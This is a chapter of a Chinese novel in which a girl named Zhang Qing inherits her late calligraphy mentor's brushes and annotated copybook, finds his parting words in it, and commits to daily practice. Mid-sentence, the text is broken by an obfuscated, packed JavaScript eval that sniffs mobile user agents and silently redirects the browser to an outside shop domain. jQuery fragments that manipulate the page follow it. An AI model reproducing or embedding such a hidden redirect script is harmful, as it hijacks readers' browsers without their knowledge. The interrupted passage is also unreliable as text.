正月初五，周伯年的后事料理了三天。
张清这几天都在帮忙，跑腿、搬东西、守夜。厂区的人都来了，送花圈的、烧纸钱的、站在灵堂前鞠躬的，络绎不绝。门口摆了两排花圈，白菊花层层叠叠，空气里全是香烛和纸钱燃烧的味道。周伯年一辈子没离开过这个小地方，认识他的人多，说他好的更多。
“没架子”“写字认真”“帮人写对联从不收钱”——这样的话，张清听了好几天。
她没怎么说话，只是做该做的事。累了就在灵堂角落里坐一会儿，饿了就吃点馒头咸菜。有人问她是不是周老爷子的亲戚，她说“是”，人家就点点头，不再多问。
初四那天，公证处的人来了。
是个戴眼镜的中年人，提着个黑色皮包，穿一身深色的衣服。在灵堂门口站了一会儿，脱帽鞠了个躬，才走进来。
“周德山老人的遗嘱，要当众宣读。”他说，“请问，哪些是法定继承人？”
周伯年的老伴站起来，说：“就我一个。他没儿女。”
公证员点点头，从皮包里拿出一个牛皮纸信封。
几个人围过来——周伯年的老伴、几个学生、还有厂区居委会的干部。公证员当着众人的面拆开信封，展开里面的纸，开始念。
遗嘱很短。就一页纸，字迹工整，是周伯年的笔迹。
“本人周德山，现年八十三岁，自愿立此遗嘱，对身后事宜作如下安排：一、我与老伴共有的房产归她所有；二、我收藏的笔墨纸砚留给张清；三、我珍藏的字帖一本，也留给张清。除此之外，别无他物。”
公证员念完，屋里一阵沉默。
有人低声议论：“就这些？”
“周老爷子一辈子，就攒下这点东西。”
“笔墨砚台值几个钱？”
“你不懂，那是老人家的念想。”
公证员把遗嘱收好，转向周伯年的老伴：“您在这里签字。”
老太太在指定的地方按了手印。公证员又拿出几张纸，是财产交接的文件。老太太不会写字，由她娘家侄子代签了。
“张清是哪位？”
张清从角落里站起来。
公证员看了她一眼：“你就是张清？”
“是。”
“你上前来。”
张清走过去。公证员从皮包里又拿出一个布包，打开，里面是一套笔墨纸砚，还有一本旧字帖。
“这是周德山老先生留给你的东西。请在这里签字。”
张清签了字。
接过布包的时候，她的手有点抖。
那一套笔墨纸砚她认得，周伯年用了大半辈子的东西。砚台是普通的端砚，边角都磨圆了。毛笔的笔杆被摸得发亮，笔尖有些秃了。墨锭乌黑，纸是宣纸，裁得整整齐齐，用红绳扎着。
还有那本字帖。封面已经发黄，边角卷起来，一看就被翻过很多次。封面上没有字，只有一道浅浅的折痕。
公证员走后，屋里的人渐渐散了。
张清站在原地，把字帖拿起来，翻开。
第一页是《兰亭序》，周伯年年轻时候抄的。字迹还带着少年人的稚气，但骨架已经有了后来的样子。每隔几行，就有小小的批注，这个字要注意结构、那个笔画要再练练，都是老人的笔迹。
她翻到中间，是《祭侄文稿》。批注更多了，有些地方还用红笔圈出来，旁边写着“为什么”。
她再翻，是《寒食帖》。
最后几页是空白的。张清正要合上，忽然发现不对劲。
最后一页的背面有字。
她翻过来看。
一行字，墨迹已经很淡了，但还能认出来：“万法归宗，宗在笔端。”
张清愣住了。
旁边又有一行小字：“笔意一道，吾仅窥门缝。汝天赋过吾十倍，当往深处行。”
那是遗书正文里的话。
原来老人早就写在这里了。
灵堂里很静。有人开始收花圈，有人开始扫鞭炮纸屑。周伯年的老伴走过来，看见张清站在那里，手里捧着字帖，眼眶红红的。
“孩子，”她说，“你周伯走之前，专门跟我说，这些东西要给你。他说，这孩子是块好料。”
张清没说话。
她抱着字帖，跪在灵前。
膝盖磕在水泥地上，疼。可她没动。
周围的人看见了，都停下手里的活，看着她。有人想过来扶，被旁边的人拦住了。
张清就这样跪着，跪了很久。
太阳从窗户照进来，照在她背上。她手里的字帖被阳光晒得发黄。
她没哭。
后来，周伯年的老伴让侄子送张清回家。
父亲在门口等着。他穿着那件旧的棉袄，手揣在口袋里，脸上没什么表情。
父女俩走了一段路，谁都没说话。快到家门口的时候，父亲开口了：
“你周伯还有什么话？”
张清把遗书的内容说了。父亲听完，沉默了很久。
快到家门口时，父亲停下脚步，望着远处被雪盖住的厂区，说了一句话：
“你周伯这辈子，就写了几个字。但每个字都是真的。”
张清嗯了一声。
父亲又说：“这句话，你要记着。”
张清嗯了一声。她低下头，没让父亲看见她的眼睛。
说完，他转身进屋了。
张清站在门口，看着父亲的背影消失在门帘后面。
手里的字帖被她攥得紧紧的，纸页发出轻微的褶皱声。
她低头看了一眼封面，那行字已经淡得快看不清了。
可她看得见。
那天晚上，张清躺在床上，把字帖翻开，一页一页地看。
看到半夜，母亲进来催她睡觉，她假装睡着了。等母亲走了，她又爬起来，把灯点上，继续看。
字帖里的批注很杂，有些是技术性的，这个转折要怎么写、那个钩要怎么出、这一捺为什么要送出去；有些是感慨性的，写到此处，想起当年在文化馆的日子，有些是提问式的，这一笔为什么好看？自己也说不清。
她一条一条地看，看到后半夜，才把字帖合上。
她把字帖放在枕头旁边，躺下来。
窗外的月光很亮，照在墙上，照在地上，照在那本旧字帖的封面上。院子里很安静，只有偶尔一声狗叫，从远处传过来，又消失在夜色里。
她闭上眼睛，脑子里是那两行字。
万法归宗，宗在笔端。
笔意一道，吾仅窥门缝。
她想起周伯年写字的样子。老人握笔的时候，肩膀端得很平，手腕悬得很稳。那支笔在他手里，像是活过来了一样。
她想起第一次去周伯年家的情景。那时候她才十岁，跟着父亲去文化站办事，路过一间屋子，看见里面有个老人在写字。她站在门口看了很久，老人写完了，抬头看见她，问：“喜欢？”
她点头。
老人笑了，说：“进来看看。”
那是他们第一次说话。
原来从那时候起，一切就已经开始了。
正月初六，张清去周伯年家看望老太太。
老太太比前些日子瘦了一圈，眼睛红肿着，看见张清，拉着她的手哭了一会儿。张清不知道说什么，就站在那里，任由她拉着。
哭完了，老太太从柜子里拿出一个布包。
“这是你周伯的东西，他说要给你，我忘了。”老太太说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809222|210771||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，“本来以为那天公证的时候就给了，没想到还有这一包。”
张清打开布包，里面是一叠旧报纸包着的东西。她打开报纸，里面是一摞宣纸，还有一只旧毛笔。
宣纸是周伯年用剩的，裁得整整齐齐，边角有些发黄，但纸质依然细腻光滑。毛笔是新的，笔杆是竹子的，笔尖还没用过，用红绳扎着。
还有一张纸条，上面写着几行字：“这些纸给你练字。这支笔是我年轻时用的，用了十几年，后来换新的了，这支就收起来了。你拿去用，比买的好。”
张清看着那几行字，愣了很久。
老人早就准备好了这些东西，就等着给她。
她把东西收好，站起来，对老太太鞠了一躬。
“谢谢您。”
老太太摆摆手，又抹了抹眼睛：“你周伯走了，这些东西留给你，也是应该的。他说，你是个好孩子，将来会有出息的。他看人从来不会错。”
张清嗯了一声。
她抱着那些东西，走出了周伯年的家。
外面的雪已经化得差不多了，露出下面的泥地和枯草。阳光照在身上，暖洋洋的。厂区的大喇叭在放一首老歌，声音从远处飘过来，断断续续的。
她站在门口，回头看了一眼那扇门。
门关着，门上贴着白色的对联，是周伯年生前写的，“音容宛在，德泽永存”。字迹还是那么好看，一笔一划，清清楚楚。门框上的白纸已经被风吹得有些卷边了。
张清看着那几个字，看了很久。然后她深深鞠了一躬，转身往自己家的方向走去。
正月初十，张清回到学校。
她还在读初一，下学期的课业紧了不少。语文、数学、英语，一门接一门，压得她喘不过气来。书包比上学期沉了，课本多了三本，练习册摞起来有半尺高。
可她还是每天挤出时间来写字。
放学后，她把自己关在屋里，铺开宣纸，拿起笔，一笔一划地练。
练基本笔画。横、竖、撇、捺、点、钩，一个一个地过。每种笔画练一整张纸，写到手臂发酸才换下一种。
练间架结构。上下结构、左右结构、包围结构，一个一个地练。
练章法布局。字与字之间的呼应，行与行之间的连贯，一篇一篇地写。
她写得很慢。
周伯年说过，写字最忌讳的就是急。慢一点，才能看出问题。慢一点，才能改正错误。
她把老人的话记在心里，一笔一划，慢慢地写。
有时候写到手酸了，她就停下来，甩甩手腕，活动活动手指，然后继续写。
有时候写到天黑了，她就点上灯，继续写。
母亲进来催她睡觉，她说知道了。等母亲走了，她又爬起来，点上灯，继续写。
父亲有时候会站在门口看她写字，看一会儿，不说话，转身走了。
有一次，父亲在门口站了很久，然后说了一句话：“你周伯要是知道你现在这样写字，一定很高兴。”
张清嗯了一声，没抬头。
她继续写。
写到深夜，她才放下笔，把写好的纸整理好，放在一边。
然后她翻开那本字帖，翻到最后一页，看着那两行字。
“万法归宗，宗在笔端。”
“笔意一道，吾仅窥门缝。”
她看了很久，才把字帖合上。
窗外的月亮很亮，照在纸上，照在墨迹上，照在她的脸上。
她把字帖放在枕头旁边，躺下来，闭上了眼睛。
明天还要继续写。
后天也要继续写。
以后每天都要继续写。
这是老人留给她的东西。
她会好好学。